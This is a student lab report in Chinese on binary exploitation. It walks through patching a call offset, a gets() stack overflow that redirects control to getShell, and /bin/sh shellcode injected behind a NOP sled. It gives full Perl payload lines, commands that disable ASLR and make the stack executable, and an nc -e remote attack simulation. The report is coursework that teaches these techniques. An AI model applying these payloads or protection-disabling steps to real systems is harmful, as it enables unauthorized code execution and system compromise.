20242309 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242309 2026-2027-1《网络与系统攻防技术》实验一实验报告

1.基础知识

(1)常用汇编指令

本实验需要掌握的常用汇编指令如下:

  • NOP 空操作指令,机器码为0x90;

  • JNE和JE分别用于“不相等跳转”和“相等跳转”;

  • JMP 无条件跳转;

  • CMP 比较两个操作数,并根据比较结果修改标志位。

  • CALL用于函数调用,在跳转到目标函数之前,会先将下一条指令的地址压入栈中,作为函数执行结束后的返回地址。

(2)栈与BOF

函数调用时会在栈中保存局部变量、EBP和返回地址等数据。EIP保存下一条要执行的指令地址,ESP指向当前栈顶,EBP通常作为当前函数栈帧的基准地址。

BOF即Buffer Overflow,缓冲区溢出。当输入的数据超过程序为缓冲区分配的空间时,多出的数据可能继续覆盖栈中的其他内容。本实验中的foo函数使用gets读取输入,输入过长时可以依次覆盖缓冲区、保存的EBP以及函数返回地址。只要将返回地址修改为指定函数地址,就可以改变程序执行流程。

(4)Shellcode

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2. 实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

3. 实验过程

(1)直接修改程序机器指令,改变程序执行流程

1.反汇编文件

objdump object目标文件+dump转存、倾倒

此命令为反汇编命令,即把可执行文件转化为机器码和汇编代码。

通过敲空格键(翻页)或敲回车键找到下图三个重要函数getShell, foo, main。

image-20261001200538514

我们想通过改变语句④,使程序直接call到getShell而不是foo。对比语句④的机器码和汇编码,显然e8对应call,因此需考虑d7 ff ff ff 和8048491直接的联系。

由于计算机是小端序存储,而0xffffffd7是-0x29 的32位补码表示,而-0x29 = ④地址下一条(ba) - ②地址,因此这里的d7 ff ff ff表示的是偏移量。

我们照猫画虎通过计算④地址下一条(ba) - ①地址,并转化为小端序得到需要把d7 ff ff ff改成c3 ff ff ff即可达成目标。

2.修改

方法一 使用vim

进入vim后输入:%!xxd将显示模式切换为16进制模式。使用d7ff搜索我们需要修改的内容,按i进入编辑模式,直接修改

image-20261001202254017

方法二 使用wxhexeditor

直接在这块二进制编辑器中查找并修改。

2025-04-21-12-04-04-image

3.运行

先在属性中开启运行权限

image-20261001202706070

再通过./文件名运行

image-20261001204815369

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

1.通过汇编代码寻找缓冲区漏洞

image-20261001203458688

如上图所示,存在漏洞函数gets,仅预留了0x1c(28)字节的缓冲区,值得利用。

2.打开gdb调试找到返回地址的具体位置

用r运行 输入字符串

用info r显示所有通用寄存器的当前值

EIP 寄存器指向程序的下一条指令的内存地址

观察EIP的值,发现被32位字符所覆盖,因此考虑塞入shell的地址

由 输入1111111122222222333333334444444412345678得到eip为0x34333231正好是输入后四位的倒序,可知程序采用小端序存储。

image-20261002091737388

因此要输入11111111222222223333333344444444\x7d\x84\x04\x08(getShell的内存地址0x0804847d)

3.发起进攻

由于后四位16进制值无法通过键盘输入,因此需使用perl作为输入 (-e 表示 “执行其后的单行 Perl 代码”),效果如下

image-20261001204721267

攻击成功,获取了一个shell

(3)注入Shellcode并执行

1.准备工作

更新安装包sudo apt-get update Kali Linux E:Unable to locate package 完美解决

输入sudo apt-get install execstack ,安装execstack命令

通过execstack - s设置堆栈可执行

通过execstack -q 指令查询文件的堆栈是否可执行

image-20261002094820991

randomize_va_space`为2,地址随机化保护是开启

image-20261002094846877

echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化

检查发现randomize_va_space为0,地址随机化保护关闭

image-20261002094911682

2.构造payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。

个人感觉第二种有些局限性,如果缓冲区不够长,shellcode可能放不下。因此本次实验我采用第一种方式。

我们先根据nop的位置来设置retaddr

构造payload perl -e 'print "A"x32; print "\x01\x02\x03\x04"; print "\x90"x512; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode,用于测试nop(\x90)的位置

使用gdb调试

要想避免程序一下子执行完,需要下断点,先通过disassemble foo确定需要下的断点(ret——程序快结束的地方)位置。

image-20261002103339171

用b *0x080484ae下断点,用run < input_shellcode传入payload,通过x/4xw $esp找到栈顶指针当前指向的地址。

image-20261002103526238

注意到0x04030201就是我们的返回地址,后面都是nop(从0xffffd110开始)。

512字节的sled(NOP 雪橇)能吸收±256字节的环境误差,因此我们只要把返回地址填在512位中间(0xffffd110 + 0x100 = 0xffffd210)能够避免gdb和终端的环境的差异导致的几字节误差。

至于为什么可以使用sled,因为不管CPU跳转到sled里的哪个字节,都会一路"滑"过所有NOP,最终落到sled末尾的shellcode上。

现在我们可以写入真实的retaddr了:perl -e 'print "A"x32; print "\x10\xd2\xff\xff"; print "\x90"x512; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode

3.发起进攻

使用(cat input_shellcode; cat) | ./pwn120242309输入这些不可见字符完成攻击

image-20261002104318338

3.4 结合nc模拟远程攻击

使用两个终端分别作为攻击机和靶机(左侧为攻击机,右侧为靶机)

通过命令nc -l 127.0.0.1 -p 1234 -e ./pwn120242309启动靶机

输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input (cat input; cat) | nc 127.0.0.1 1234实现攻击。

4.问题

  • 问题1:为什么d7ffffff表示-41

  • 前置知识:

    • 原码:最高位是符号位,其余位表示数值的大小

    • 反码:正数的反码就是原码;负数的反码是对正数逐位取反,符号位保持为1

    • 补码:正数的补码还是原码;负数的补码是反码+1

  • 问题1解决:小端存,倒过来看 d7 1101 0111 反码 1101 0110 原码 0010 1001 0x29

  • 问题2:nc -l 127.0.0.1 -p 28234 -e ./pwn1无法完成远程攻击。

  • 问题2解决:通过sudo lsof -i :28234检验端口发现端口被占用,更换端口1234即可。

5.实验总结

本次实验让我较为系统地学习了三种不同的攻击方式,并认识到它们各自具有不同的适用条件和局限性。直接修改二进制文件的方法实现过程较为直观,也便于理解机器指令与程序执行流程之间的关系,但由于需要直接修改目标文件,因此难以应用于远程攻击场景;利用程序中已有的 Shell 函数,可以通过修改控制流实现攻击,但前提是目标程序本身存在可被利用的相关函数或代码;注入 Shellcode 则进一步涉及栈结构、返回地址覆盖、指令执行以及系统安全机制等内容,在实验环境中通常还需要关闭栈保护、地址空间随机化等防护措施,以便观察攻击过程和理解其原理。

通过本次实验,我不再只是从源代码层面理解程序,而是开始从汇编指令、内存布局和控制流的角度分析程序的执行过程,也更加直观地认识到缓冲区溢出等漏洞为什么能够影响程序的正常执行。不同攻击方式能够成功,往往依赖于程序结构、运行环境以及系统安全机制等多方面条件,因此在真实环境中,漏洞利用和防护都会更加复杂。本次实验让我初步窥见了二进制安全领域的一角,也加深了我对计算机底层运行机制和系统安全防护的理解,为后续进一步学习二进制分析和漏洞利用打下了基础。

参考资料

Exp1逆向与Bof基础

实验一实验报告 - 20232409

实验一实验报告 - 20232401

posted @ 2026-10-02 10:59  未知,  阅读(6)  评论(0)    收藏  举报